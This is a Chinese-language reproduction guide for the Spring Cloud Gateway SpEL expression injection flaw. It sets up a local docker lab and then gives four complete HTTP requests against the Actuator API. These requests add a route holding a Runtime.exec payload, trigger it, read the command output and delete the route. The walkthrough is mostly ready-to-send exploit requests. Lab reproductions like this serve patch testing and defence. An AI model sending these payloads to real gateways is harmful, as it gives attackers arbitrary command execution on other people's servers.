漏洞介绍：

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

漏洞环境：

docker 环境

执行如下命令将启动一个使用了Spring Cloud Gateway 3.1.0的Web服务：

docker-compose up -d

1、利用这个漏洞需要分多步。首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8083
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

2、然后，发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行：

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3、发送如下数据包即可查看执行结果：

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

4、最后，发送如下数据包清理现场，删除所添加的路由：

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close